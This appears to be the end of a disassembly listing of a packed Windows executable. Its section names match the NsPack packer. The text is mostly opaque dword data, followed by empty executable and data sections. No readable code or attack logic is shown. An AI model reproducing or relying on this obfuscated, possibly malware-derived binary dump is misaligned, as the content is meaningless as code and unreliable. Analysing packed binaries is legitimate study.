		dd 0B413F74h, 0F39D600Fh, 3ED1BE8Ch, 323AFA88h,	746194CCh
		dd 7A3A8EEBh, 1937E447h, 5B5CA30Bh, 13358E34h, 651934C1h
		dd 8CDC2AEh, 0CA82113h,	0DECA4AFDh, 5840E8C8h, 0B3F5038Bh
		dd 92141BBDh, 0E7F08C3Ah, 66551241h, 636D0EDDh,	0D629E244h
		dd 0CBA295EBh, 9AAC4934h, 95A1B729h, 1C09BF58h,	0EDE271AAh
		dd 0B1364E42h, 0FA8D81B1h, 529F5C3Fh, 5A7D6156h, 8E34999Bh
		dd 912E34C6h, 9FABD65h,	0EF0A8B60h, 0A395EDD1h,	818672CFh
		dd 0C2A480CFh, 0E4AC2544h, 8B123206h, 7B07FC13h, 0B9DC0281h
		dd 62042AA9h, 111DFC3h,	0F21E7452h, 0FFBD2E55h,	0E03A2B4h
		dd 2A89DF66h, 349FE7CCh, 283CB67Ch, 158B8284h, 0C205B203h
		dd 0A98BE50Dh, 9D95F796h, 1CAB4E3Fh, 0EC9A0771h, 30AB0C7Bh
		dd 6887D563h, 709F4FB2h, 0A4C61850h, 0B6B79043h, 5DE3E6F1h
		dd 81561A45h, 17A1D7C6h, 0C7FBCF9Ch, 0DDADC13Eh, 0A10C31CCh
		dd 9A25F7E5h, 0AED1E44Bh, 2E2FB2h, 6141AC3Ch, 4B71DB84h
		dd 0ADB575CDh, 9A1250E7h, 356D73E8h, 341E7DBAh,	491A17D9h
		dd 0BE4BEDEBh, 3D425376h, 0AB4A003Bh, 323E9B50h, 135E910Ah
		dd 5439CF53h, 7C542184h, 0CD12ABD4h, 0F1FD0E8Ah, 5CC2614Fh
		dd 962C7D97h, 0FCC2FE20h, 16FF8418h, 90D1AD01h,	93EAEC0h
		dd 0CF9FF02h, 507FA193h, 0CE9529B2h, 80FAE808h,	0A5670651h
		dd 59E09D83h, 65D97ACEh, 2B6ADDD4h, 54D1BE91h, 775669E6h
		dd 58861D4Ch, 0DC3B069Ch, 0DBC733E1h, 0CBB742ECh, 43892BA3h
		dd 65652FA8h, 0AAFDCF55h, 64A73FB4h, 250B25Dh, 344C61DAh
		dd 0E9B2890h, 164026FFh, 202E65D2h, 0B5C52B34h,	0FF929297h
		dd 34B45D6Bh, 53903570h, 0CB3301CBh, 0AD83F9BCh, 0EBA0E63Dh
		dd 1EA2E38Ch, 6A6FF4A6h, 324EC5C7h, 52ADF1Fh, 90FF1A8Ch
		dd 84D1AE08h, 0BD0CD303h, 0F1C8EB85h, 74FAB9D4h, 7FB0B066h
		dd 800D55A8h, 3325D6A3h, 1FFDD66Eh, 6FF6062Fh, 0F762B4B1h
		dd 0AB8B89FDh, 0E06CBD4Fh, 3E013DA2h, 0CFD5AE51h, 0DED25D84h
		dd 0E1D7E6F0h, 0CC5D12C2h, 79A9AEC4h, 6DCBDB5Ah, 4BAD5AD8h
		dd 0C35AF50Ch, 24C80E88h, 97C957ECh, 36B00EDAh,	88132166h
		dd 599026C4h, 0DC4CF681h, 84C92B98h, 7B46A967h,	90ED19A8h
		dd 0EB6A8D78h, 2766F471h, 0AD1D7357h, 74AB6708h, 80812A98h
		dd 0A2A61CCDh, 0BEE260ABh, 0BB92B43Ah, 0D7782829h, 9254B352h
		dd 0EEC6CC26h, 0CD197DF4h, 82367727h, 1F447DEAh, 0E466DDD2h
		dd 18E36599h, 18834CD1h, 0AA87BC22h, 1E18E2F0h,	0E1B001E2h
		dd 3139BF0Ch, 693E7372h, 9CD9D420h, 0B787A47Dh,	63D3559Ch
		dd 91D9C233h, 971FA81Ah, 47AE04BAh, 0CE6690B3h,	0C38D8B4Fh
		dd 0A367D396h, 0C9B84CA6h, 9C065FF3h, 60DFEC48h, 381EA61Ch
		dd 3D59DFA6h, 4BB7FDFDh, 0A03F87F9h, 0F38579FFh, 0D5BFA51Eh
		dd 36491A36h, 6AFB92BDh, 0F290061Ah, 0C85A0C4Ah, 0C0586287h
		dd 919C6BE5h, 0DDBF3F43h, 1D678269h, 70AD1FECh,	9AB5458Bh
		dd 482F8F9Bh, 78457E8Dh, 0D2EDE0A8h, 96EC856Fh,	0D1A1A119h
		dd 5EC594DCh, 0B6D56451h, 0FBA8A005h, 3A4AE2D6h, 63C13BB5h
		dd 65A976E6h, 6E64E3E9h, 0FCCB912Eh, 605A955Bh,	85F36923h
		dd 0DE98C92Ch, 8024F0FCh, 6FDDBAEDh, 90AC560Bh,	0E2E7B666h
		dd 0C425CFECh, 36946EB1h, 78117FBEh, 31F31F85h,	49E0C9A7h
		dd 3EA3579Ah, 0C0A5A396h, 29AA78AEh, 0DB3012E4h, 1B58A527h
		dd 554D9ECAh, 510904ABh, 8A1E3885h, 0A3A45ACEh,	9B0970C8h
		dd 1CCB7C18h, 823EBCB4h, 0C6C7133Ah, 8CE50F37h,	8E804A38h
		dd 4968C2E4h, 0B642619h, 81855025h, 5EA7CEC3h, 3B19ABB2h
		dd 387CA147h, 0B8A3A11Fh, 0D94305D7h, 0D8A8ED70h, 7516AA0Dh
		dd 45E0E95Ch, 0FC512A32h, 0A19CDE5Eh, 0C05E8128h, 0FD396517h
		dd 0CC70CDCEh, 21B1D981h, 83376EDFh, 0FAD28571h, 896C1553h
		dd 80069DEBh, 7672CA9Bh, 4CDC629Fh, 27486651h, 2E1FC504h
		dd 8799DEB2h, 0DCF7DC5Ah, 0C80B91E2h, 0FBDA21D7h, 0BFA1F968h
		dd 0AE7245D0h, 381B5CD1h, 9BE8502h, 0E6693AD0h,	83522DA1h
		dd 24B3A0C1h, 0DF589822h, 746162B0h, 9C213C1Bh,	69CE1FA8h
		dd 0BB2CC257h, 6D4874F8h, 0CC44D598h, 0F018FC7Dh, 911BF16Ah
		dd 40FB7F5h, 0C1337B3Ah, 0C97FC86Eh, 79A9C159h,	1DA947F8h
		dd 0ED8E6F1h, 0B7112662h, 78E1C12Ch, 71F3B230h,	14C31341h
		dd 1A597497h, 9B2364C8h, 0E948A4B0h, 67B29504h,	1801F7B7h
		dd 5B2B41ABh, 50D94CA4h, 5718921Ah, 0BA9C9E67h,	6A1AF244h
		dd 0EB24D890h, 0BDFA4BA5h, 5099BB35h, 0C489C595h, 0D8110F09h
		dd 9A1F2762h, 0F3B3A9F3h, 0A6757E3Bh, 0C98626E3h, 0FBE598ACh
		dd 9E0AA8Bh, 783AD0EAh,	152AD7F8h, 0F3E13F72h, 1E8A5E70h
		dd 0E765006Dh, 0D2336735h, 593699E1h, 96A86ECAh, 69EFD33h
		dd 387F9036h, 0BE17E799h, 819FC08Ah, 0BA5F2727h, 0C4A84091h
		dd 0A215809h, 333055B1h, 0BD211B93h, 0E6B4FF1h,	0E010AD36h
		dd 83CA7CDAh, 7267EDA4h, 0BE585240h, 59AC76E9h,	55BE5E4h
		dd 0DAC7F908h, 52FBFCADh, 1ECD742Bh, 0F942205Bh, 0F83D53DDh
		dd 3B096429h, 6C2ACB80h, 0F03BB5DFh, 5F2EBDC4h,	4B3E0FAAh
		dd 13904266h, 9310FF0Eh, 597871F8h, 4ED909F8h, 1D2B23D8h
		dd 5EE178AAh, 0CE550D36h
		dd 67B50112h, 5B8F76A7h, 64F1C6CDh, 30CBF2ECh, 959513CCh
		dd 0F852CA6h, 6E477098h, 91C75F26h, 0C074DE36h,	0D94BE502h
		dd 0D729A241h, 0B002B7D4h, 829ED6h, 9E2D89Fh, 0CCF330Ah
		dd 215B3CC9h, 0C8271AA5h, 644F225Bh, 3DF5439Ch,	0F0C4BF30h
		dd 8F0DACFAh, 0E7DEB890h, 39D530CBh, 0C9AAF94Ch, 0BDA2E6A4h
		dd 5F718BF5h, 6FC0948Fh, 436DAB73h, 8BC0618Eh, 203A069Eh
		dd 0E8AB661Bh, 79F4A304h, 6EB7B4h, 4E736D8Fh, 0BA46F348h
		dd 0E98122C6h, 467C3F01h, 0F0DC6B09h, 52545F1Eh, 0EBE2222h
		dd 8A740772h, 36CAEB9h,	0C8D62C49h, 0E29E01D1h,	302F32h
		dd 99B8E5F8h, 9DB76825h, 895CDA2h, 0A63058BCh, 460491C1h
		dd 366FC58Fh, 956737C4h, 59156199h, 302D7562h, 49AF508Ch
		dd 2D2EFECBh, 0C916A423h, 0D59720A7h, 0DE0A936Eh, 6EF4EE57h
		dd 0BBF927CAh, 0AC680ACCh, 4E05A1ADh, 138F1DFDh, 0E8952484h
		dd 0B64D6705h, 53EAAA6Ah, 0E1354372h, 0C63B9AF4h, 9CD5C4D9h
		dd 0C9A800D7h, 3606228Bh, 511AB109h, 4D092526h,	2FA8D313h
		dd 0BA0C2E72h, 1AEA1586h, 0A4F632C0h, 0EFC67184h, 44AD9A06h
		dd 0B13F8FFEh, 644FC137h, 3C6686FEh, 8CCFBB09h,	8454E9BDh
		dd 4BDB2F06h, 30E09863h, 1E991081h, 0B90FC371h,	0A147E816h
		dd 0AE1F1FF6h, 0FF10BE3Bh, 7C912D21h, 0A991B5EDh, 0FB3D2A4Bh
		dd 0CDB60BB3h, 5D8D7BCAh, 8474EAABh, 0D2876CC1h, 12927FE5h
		dd 6F45341Bh, 87C9EE05h, 93C2CE5Ah, 9D39B101h, 6228ABB1h
		dd 2AD72D82h, 0FA79D7F6h, 403B3D35h, 8F68050Eh,	1D91ED37h
		dd 0A8062067h, 13437279h, 87838535h, 8A371E58h,	5849BF47h
		dd 0AF02163Fh, 708AB69h, 0DC5959E7h, 3E30B50Eh,	98A7D3F6h
		dd 72DCC983h, 0CBFAF21Fh, 9013D73Dh, 3D6E1449h,	797C2F3Eh
		dd 9205BECCh, 0E154B517h, 0B983D0C1h, 0C2931F86h, 0DDDEB765h
		dd 0DDF70BCFh, 0E5BC20DBh, 0B1260F38h, 0E2403550h, 0EF7ECD35h
		dd 2BDE284Ch, 0F0C7790Eh, 5E581F3h, 8F2CE61Ch, 625083DCh
		dd 38DCE753h, 31BD2D24h, 77D15899h, 0FB26AE41h,	3A286CACh
		dd 9380E90Eh, 36D047B3h, 79A058E0h, 0BEA25951h,	0C4533938h
		dd 0B7EAFC33h, 7169FC93h, 0C79EFCBDh, 0D40C4755h, 1BE87D35h
		dd 0FEE3E26Dh, 569FAE53h, 0AD4F5D8Eh, 0A83A32D1h, 105A8663h
		dd 0A8BB32Dh, 7B14A61Dh, 0A3A566C2h, 19BF0F33h,	5E8ED019h
		dd 0E19D2A51h, 149C08B8h, 0EDC6BF80h, 31153013h, 0F7471247h
		dd 0FB30769h, 50AD3FB7h, 448A74CEh, 1772CB57h, 0F380BF3Fh
		dd 36E2DFF0h, 0DD99A485h, 58AFACCCh, 13522FDCh,	0A6DB4108h
		dd 4C7DEAD9h, 0FAD8B564h, 37822554h, 7F1DE0E2h,	8FF9AB43h
		dd 7ADDFE33h, 0C3A444B8h, 349C16FFh, 0B7624A72h, 6C00FEDFh
		dd 0C06E18E6h, 0E3670C67h, 3F271309h, 0A427D9B5h, 5D35D6CDh
		dd 0DA25E593h, 0F47083DEh, 2D6D5518h, 658222A1h, 91882EC1h
		dd 0E76AFFE1h, 0D5319372h, 0A0D0F5FCh, 0EEAD4596h, 89407E74h
		dd 0B2EEE4DFh, 80921254h, 8E2116BFh, 51376EE2h,	76212FF2h
		dd 4298F0FDh, 4FAE446h,	0D6328354h, 0FBA040B1h,	9E0AA8Bh
		dd 783AD0EAh, 152AD7F8h, 0F3E13F72h, 1E8A5E70h,	0E765006Dh
		dd 0D2336735h, 593699E1h, 96A86ECAh, 69EFD33h, 387F9036h
		dd 0BE17E799h, 819FC08Ah, 0BA5F2727h, 0C4A84091h, 0A215809h
		dd 333055B1h, 0BD211B93h, 0E6B4FF1h, 0E010AD36h, 83CA7CDAh
		dd 7267EDA4h, 0BE585240h, 59AC76E9h, 55BE5E4h, 0DAC7F908h
		dd 52FBFCADh, 1ECD742Bh, 0F942205Bh, 0F83D53DDh, 3B096429h
		dd 6C2ACB80h, 0F03BB5DFh, 5F2EBDC4h, 4B3E0FAAh,	13904266h
		dd 9310FF0Eh, 597871F8h, 4ED909F8h, 1D2B23D8h, 5EE178AAh
		dd 0CE550D36h, 67B50112h, 5B8F76A7h, 64F1C6CDh,	30CBF2ECh
		dd 959513CCh, 0F852CA6h, 6E477098h, 91C75F26h, 0C074DE36h
		dd 0D94BE502h, 0D729A241h, 0B002B7D4h, 829ED6h,	9E2D89Fh
		dd 0CCF330Ah, 215B3CC9h, 0C8271AA5h, 644F225Bh,	3DF5439Ch
		dd 0F0C4BF30h, 8F0DACFAh, 0E7DEB890h, 39D530CBh, 0C9AAF94Ch
		dd 0BDA2E6A4h, 5F718BF5h, 6FC0948Fh, 436DAB73h,	8BC0618Eh
		dd 203A069Eh, 0E8AB661Bh, 79F4A304h, 6EB7B4h, 4E736D8Fh
		dd 0BA46F348h, 0E98122C6h, 467C3F01h, 0F0DC6B09h, 80h dup(0)
_nsp1		ends

; Section 3. (virtual address 000F9000)
; Virtual size			: 00000FFE (   4094.)
; Section size in file		: 00000FFE (   4094.)
; Offset to raw	data for section: 000F9000
; Flags	E0000060: Text Data Executable Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure code
; Segment permissions: Read/Write/Execute
_nsp2		segment	para public 'CODE' use32
		assume cs:_nsp2
		;org 4F9000h
		assume es:nothing, ss:nothing, ds:_nsp0, fs:nothing, gs:nothing
		dd 3FFh	dup(0)
		db 2 dup(0)
_nsp2		ends

; Section 4. (virtual address 000FA000)
; Virtual size			: 00001000 (   4096.)
; Section size in file		: 00000200 (	512.)
; Offset to raw	data for section: 000FA000
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
_idata2		segment	para public 'DATA' use32
		assume cs:_idata2
		;org 4FA000h
		dd 80h dup(0)
		align 1000h
_idata2		ends


		end start